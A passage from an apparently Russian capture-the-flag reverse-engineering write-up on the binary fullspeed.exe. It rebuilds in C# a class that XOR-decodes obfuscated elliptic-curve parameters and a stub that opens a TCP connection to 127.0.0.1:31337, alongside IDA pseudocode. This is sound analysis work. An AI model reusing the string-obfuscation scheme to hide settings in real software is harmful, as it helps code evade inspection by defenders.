<\/code><\/pre>\n<p>\u0421 \u0443\u0447\u0435\u0442\u043e\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043e\u0441\u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043a\u043b\u0430\u0441\u0441\u0430 <strong>myEC<\/strong> \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 client. \u0423\u0447\u0442\u0435\u043c, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435.<br \/> \u041f\u0440\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043a\u043e\u0434\u0430, \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0451\u043d\u043d\u043e\u0433\u043e \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0430 fullspeed.exe \u0432\u0430\u0436\u043d\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430, \u043a\u0430\u043a \u044d\u0442\u043e \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043e \u0432 \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434\u0435.<br \/> \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0442\u0438\u043f\u0430 <strong>FpCurve<\/strong> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0437\u043e\u0432:<\/p>\n<pre><code class=\"cs\">RhpAssignRefAVLocation((uint64 *)class_myEC + 1, (uint64)ellipticCurve) <\/code><\/pre>\n<p>\u042d\u0442\u043e\u0442 \u0432\u044b\u0437\u043e\u0432 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u0435\u043a\u0442 <strong>ellipticCurve<\/strong> \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e +8 \u0431\u0430\u0439\u0442 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043a\u043b\u0430\u0441\u0441\u043e\u043c myEC. \u042d\u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430, \u0447\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u0432\u043e\u0441\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<br \/> \u0421 \u0443\u0447\u0451\u0442\u043e\u043c \u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e, \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043a\u043b\u0430\u0441\u0441\u0430:<\/p>\n<pre><code class=\"cs\">class myEC {     public static FpCurve ellipticCurve;           \/\/  0    0     public static ECPoint ecPointGeneratorPoint;   \/\/  1    8     public static SecureRandom secureRandom;       \/\/  2    16      static myEC()     {         string strEncParamQ = \"463F43CDC15079D91C4AB352F862D545B097C05DC765794A4F5A8BC54828DE86E7D6B7E4657348A9EF3C89711A5F226502E0627B60079931BA7878B6BB4B22A384F20484811BE84E080C73C7E87B4707AD835B1F04236ADED81F4C565839C1C4\";         string strParamQ = DecodeEncryptData(strEncParamQ);         BigInteger bigIntQ = new BigInteger(strParamQ, 16);          string strEncParamA = \"443644C595002F80181FB900FE6A8445E59592549366771F4F5B8BC24E7DD7D7E182E7EA307747F9EC3ADA22195C71670CE43A7B6551CC31EF287AE0EF4921A3DCF052848041EB1904097EC2BD2B4608F482531F5223698DDD4818550A3890C6\";         string strParamA = DecodeEncryptData(strEncParamA);         BigInteger bigIntA = new BigInteger(strParamA, 16);          string strEncParamB = \"1C604ACFC8012F8A1C49E950FE3CD442E3C5C258C2312A1C1C58DD901A7FD0D5E3D4EBB861214EABEC6B88204F0A74620DE4652F60049838B42F2EE2E04C70A6DCA501898041E61D585A2ECDEC784652F4D7501D57223DD9DB191D050C399F90\";         string strParamB = DecodeEncryptData(strEncParamB);         BigInteger bigIntB = new BigInteger(strParamB, 16);          string strEncGenX = \"153E449EC4047A8B1C1BBD50AA3CD540B0C69458C3667F4E1B5C8B9C1A7281D6E183E7BA65244FAEEA678F22100924670CE0677F630BCD6CBB7B22B3E91E21A2DDF307898344EF4C0C582D92B82E1456A5D35A4D00256ADCD81B4F505F33C398\";         string strGenX = DecodeEncryptData(strEncGenX);         BigInteger bigIntGenX = new BigInteger(strGenX, 16);          string strEncGenY = \"143444C8C3577C89194DB804AC3E8243E2C0955FC46A781C1857DEC5187B85D1E7D3E0B935241AABED6B8D22480D2E3204EE372E32039738BD7D28E5B84876F9D5A35185D043EF480E5B7BC6EC231352F380071958216CDD881D1954013B9F92\";         string strGenY = DecodeEncryptData(strEncGenY);         BigInteger bigIntGenY = new BigInteger(strGenY, 16);          myEC.ellipticCurve = new FpCurve(bigIntQ, bigIntA, bigIntB);         myEC.ecPointGeneratorPoint = ellipticCurve.CreatePoint(bigIntGenX, bigIntGenY);         myEC.secureRandom = new SecureRandom();     }  public static string DecodeEncryptData(string inStr) {     byte[] bArray = Convert.FromHexString(inStr);     byte bKey = 0;     int intIteration = 0;     int intByteArrayLength = bArray.Length;      if (intByteArrayLength &gt; 0)     {         do         {             bKey = (byte)(13 * bKey + 0x25);             bArray[intIteration++] ^= bKey;         }         while (intByteArrayLength &gt; intIteration);     }     return Encoding.UTF8.GetString(bArray); } }  namespace client {     internal class client     {         static void Main(string[] args)         {             \/\/ string strIPPort = \"127.000.00.001;31337\";             string strEncIPPort = \"143444D2C1522F964D4EA504F96B8C43E4C5905B\";             string strIPPort = myEC.DecodeEncryptData(strEncIPPort);              Console.WriteLine(\"Hello, World!\");              byte[] byteArray = { 0x01, 0x02, 0x03, 0x04 };             BigInteger bigIntP = new BigInteger(byteArray);             Console.WriteLine(bigIntP);              const string strIP = \"127.0.0.1\";             const int port = 31337;              TcpClient tcpClient;             NetworkStream networkStream;              tcpClient = new TcpClient(strIP, port);             networkStream = tcpClient.GetStream();         }     } } <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438 \u0435\u0451 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 IDA \u043c\u043e\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0445\u043e\u0436\u0435\u0441\u0442\u0438 \u0435\u0451 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c fullspeed.exe. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0445 \u0437\u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430 <strong>myEC<\/strong>:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ll\/tq\/eo\/lltqeobsnuoav-vqcvbjpy2k9sy.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u0435\u0439\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ll\/tq\/eo\/lltqeobsnuoav-vqcvbjpy2k9sy.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ll\/tq\/eo\/lltqeobsnuoav-vqcvbjpy2k9sy.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u0435\u0439<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u0437\u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430 <strong>myEC<\/strong>:<\/p>\n<pre><code class=\"cpp\">  if ( *(&amp;___NONGCSTATICS_client_myEC__ - 1) )     _GetGCStaticBase_client_myEC();   v11 = ___GCSTATICS_client_myEC__; <\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0430\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f sub_140001ED4() \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b fullspeed.exe \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0445 \u043a\u043b\u0430\u0441\u0441\u0443 <strong>myEC<\/strong>. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434\u0430 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e sub_140107BC0() \u043a \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e\u043c\u0443 \u0432\u0438\u0434\u0443:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/p6\/_t\/2v\/p6_t2vlmq4bevwg_fcnr7f8qype.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140108AC0() \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/p6\/_t\/2v\/p6_t2vlmq4bevwg_fcnr7f8qype.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/p6\/_t\/2v\/p6_t2vlmq4bevwg_fcnr7f8qype.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140108AC0()<\/strong> \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0434\u044b\u0442\u043e\u0436\u0438\u043c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 sub_140107BC0() \u043a\u043b\u0430\u0441\u0441\u0430:<\/p>\n<ul>\n<li>\n<p>\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 \u043d\u0430\u0434 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0430: \u043c\u043e\u0434\u0443\u043b\u044c \u043f\u043e\u043b\u044f <img decoding=\"async\" class=\"formula inline\" source=\"q\" alt=\"q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b <img decoding=\"async\" class=\"formula inline\" source=\"a\" alt=\"a\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"b\" alt=\"b\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439:<\/p>\n<\/li>\n<\/ul>\n<p><img decoding=\"async\" class=\"formula\" source=\"y^2 \\equiv x^3 + a x + b \\pmod{q}\" alt=\"y^2 \\equiv x^3 + a x + b \\pmod{q}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/17\/17e\/17e614c60576bbfd6c8f269a5745f646.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/17\/17e\/17e614c60576bbfd6c8f269a5745f646.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/17\/17e\/17e614c60576bbfd6c8f269a5745f646.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<ul>\n<li>\n<p>\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 <img decoding=\"async\" class=\"formula inline\" source=\"x\" alt=\"x\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y\" alt=\"y\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>;<\/p>\n<\/li>\n<li>\n<p>\u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438\u043c\u0435\u044e\u0449\u0438\u0445\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 (<img decoding=\"async\" class=\"formula inline\" source=\"q\" alt=\"q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, <img decoding=\"async\" class=\"formula inline\" source=\"a\" alt=\"a\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"b\" alt=\"b\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 (<img decoding=\"async\" class=\"formula inline\" source=\"x\" alt=\"x\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y\" alt=\"y\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 (<img decoding=\"async\" class=\"formula inline\" source=\"G\" alt=\"G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 781w\" loading=\"lazy\" decode=\"async\"\/>), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (<img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{cli}}\" alt=\"Q_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 781w\" loading=\"lazy\" decode=\"async\"\/>).<\/p>\n<\/li>\n<\/ul>\n<h4>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140108AC0()<\/h4>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/sz\/mt\/5s\/szmt5srkglfkg3wjp77zgv3nfne.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0424\u0443\u043d\u043a\u0446\u0438\u044f sub_140108AC0()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/sz\/mt\/5s\/szmt5srkglfkg3wjp77zgv3nfne.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/sz\/mt\/5s\/szmt5srkglfkg3wjp77zgv3nfne.png 781w\" loading=\"lazy\" 